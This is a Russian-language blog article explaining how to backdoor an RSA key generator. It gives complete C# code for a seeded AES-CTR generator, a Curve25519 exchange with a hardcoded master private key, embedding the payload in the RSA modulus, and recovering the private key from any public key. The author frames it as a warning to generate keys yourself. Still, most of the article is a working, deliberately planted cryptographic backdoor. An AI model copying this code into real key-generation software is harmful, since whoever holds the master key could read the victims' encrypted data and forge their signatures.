Встраиваем бэкдор в публичный ключ RSA
Привет, %username%! Когда я увидел, как это работает, сказать, что я был в шоке — ничего не сказать. Это довольно простой трюк, но после прочтения этой статьи вы больше никогда не будете смотреть на RSA по-прежнему. Это не взлом RSA, это нечто, что заставит вашу паранойю очень сильно разбухнуть.Итак, представьте, что у вас есть доступ к генератору ключей RSA и вы хотите в дальнейшем дать кому-то возможность узнавать закрытый ключ безо всяких факторизаций и прочих квантовых компьютеров. Что нам для этого понадобится?
Я буду сразу же бросаться кодом на C#, который использует BouncyCastle и Chaos.NaCl (эта библиотечка реализует Curve25519)
1) PRNG
Нам нужен ГПСЧ, который инициализируется секретным значением. Будем использовать AES s режиме CTR
Код ГПСЧ using System; using System.ComponentModel; using Org.BouncyCastle.Crypto.Engines; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Crypto.Prng; using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor { class SeededGenerator: IRandomGenerator { private readonly AesFastEngine _engine = new AesFastEngine (); private readonly byte[] _counter = new byte[16]; private readonly byte[] _buf = new byte[16]; private int bufOffset = 0;
public SeededGenerator (byte[] key) { _engine.Init (true, new KeyParameter (key)); MakeBytes (); }
private void MakeBytes () { bufOffset = 0; _engine.ProcessBlock (_counter, 0, _buf, 0); IncrementCounter (); }
public void IncrementCounter () { for (int i = 0; i < _counter.Length; i++) { _counter[i]++; if (_counter[i] != 0) break; } }
public void AddSeedMaterial (byte[] seed) { }
public void AddSeedMaterial (long seed) { }
public void NextBytes (byte[] bytes) { NextBytes (bytes, 0, bytes.Length); }
public void NextBytes (byte[] bytes, int start, int len) { var count = 0; while (count < len) { var amount = Math.Min(_buf.Length - bufOffset, len - count); Array.Copy(_buf, bufOffset, bytes, start + count, amount); count += amount; bufOffset += amount; if (bufOffset >= _buf.Length) { MakeBytes (); } } } } }
2) Вспомним про замечательную Curve25519, а именно тот факт, что любая 32 байтная последовательность является для неё валидным закрытым ключом, а открытый ключ получается тоже всегда 32 байта.Заранее сгенерируем мастер ключ и запишем его куда-нибудь в константу.
private const string MY_PRIVATE_STR = «BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8»; private static readonly byte[] MY_PRIVATE = StringToByteArray (MY_PRIVATE_STR); Для каждой ключевой пары RSA, которую мы будем генерировать, мы так же будем генерировать случайную ключевую пару Curve25519, а потом считать общий секрет от публичного ключа этой пары и нашего приватного. Этот секрет будет ключом для нашего ГПСЧ из п.1
Генерация seed для ГПСЧ private void MakeSeedAndPayload (out byte[] seed, out byte[] payload) { var rnd = new SecureRandom (); var priv = new byte[32]; rnd.NextBytes (priv); payload = MontgomeryCurve25519.GetPublicKey (priv); seed = MontgomeryCurve25519.KeyExchange (payload, MY_PRIVATE); } Открытый ключ Curve25519, который мы в дальнейшем используем для вычисления seed — это «полезная нагрузка» или payload. Мы будем пытаться запихнуть его в открытый ключ RSA
3) Генерируем ключевую пару RSA, используя этот ГПСЧ и наш seed.
var publicExponent = new BigInteger (»10001», 16); var keygen = new RsaKeyPairGenerator (); keygen.Init (new RsaKeyGenerationParameters (publicExponent, new SecureRandom (new SeededGenerator (seed)), 2048, 80)); var pair = keygen.GenerateKeyPair (); Здесь стоит напомнить, что основа ключей RSA — это всегда два простых числа p и q. Их произведение — открытый ключ. В данном случае при помощи нашего ГПСЧ ищутся два числа размером 2048 бит и далее из них конструируется ключевая пара.
4) Берем публичную экспоненту n, которая равна p*q и заменяем в ней часть байт на наш payload. Возьмем байты постарше, чтобы их не перетёрло в дальнейшем. Смещение в 80 байт должно сработать.
var paramz = ((RsaPrivateCrtKeyParameters) pair.Private); var modulus = paramz.Modulus.ToByteArray (); Replace (modulus, payload, 80); // 80 — это смещение 4) У нас теперь есть новая экспонента n', Нужно перегенерить остальные параметры с учетом новой n', а именно:
4.1) Считаем новую q'. У нас на данном этапе она будет черт пойми чем, но это не страшноq' = n' / p4.2.) От новой q' ищем новое простое число. Когда мы его найдем, нижние биты будут перетёрты. Но верхние останутся такими же. Это то, чего мы добивались.
var p = paramz.P; var n = new BigInteger (modulus); var preQ = n.Divide (p); var q = preQ.NextProbablePrime (); После того, как у нас есть новая q, мы считаем все параметры ключевой пары, кроме, p, заново.
public AsymmetricCipherKeyPair ComposeKeyPair (BigInteger p, BigInteger q, BigInteger publicExponent) { if (p.Max (q).Equals (q)) { var tmp = p; p = q; q = tmp; }
var modulus = p.Multiply (q);
var p1 = p.Subtract (BigInteger.One); var q1 = q.Subtract (BigInteger.One); var phi = p1.Multiply (q1); var privateExponent = publicExponent.ModInverse (phi); var dP = privateExponent.Remainder (p1); var dQ = privateExponent.Remainder (q1); var qInv = q.ModInverse (p);
var priv = new RsaPrivateCrtKeyParameters (modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
return new AsymmetricCipherKeyPair (new RsaKeyParameters (false, priv.Modulus, publicExponent), priv); } И в итоге получаем валидную ключевую пару, в публичном ключе которой скрылся наш Payload —, а именно, информация о том, как получить seed, а затем и вожделенный закрытый ключ.
Мы можем его извлечь
public byte[] ExtractPayload (RsaKeyParameters pub) { var modulus = pub.Modulus.ToByteArray (); var payload = new byte[32]; Array.Copy (modulus, 80, payload, 0, 32); return payload; } Вычислить seed и прогнать процесс заново, чтобы получить закрытый ключ
public AsymmetricCipherKeyPair BuildKeyFromPayload (byte[] payload) { var seed = MontgomeryCurve25519.KeyExchange (payload, MY_PRIVATE); return BuildKey (seed, payload); } Таким образом, только мы, владея закрытым ключом Сurve25519 можем вычислить закрытый ключ любого забекдоренного нами RSA ключа.
Где это можно применить? Да где угодно. Вы никогда не докажете, что в ключевых парах, выдаваемых вам банками и другими неконтролируемыми вами источниками нет таких закладок. Определить наличие такой закладки невозможно! Поэтому старайтесь генерировать их сами. Ну и уходите с RSA по возможности.
Сорцы для поиграть тут
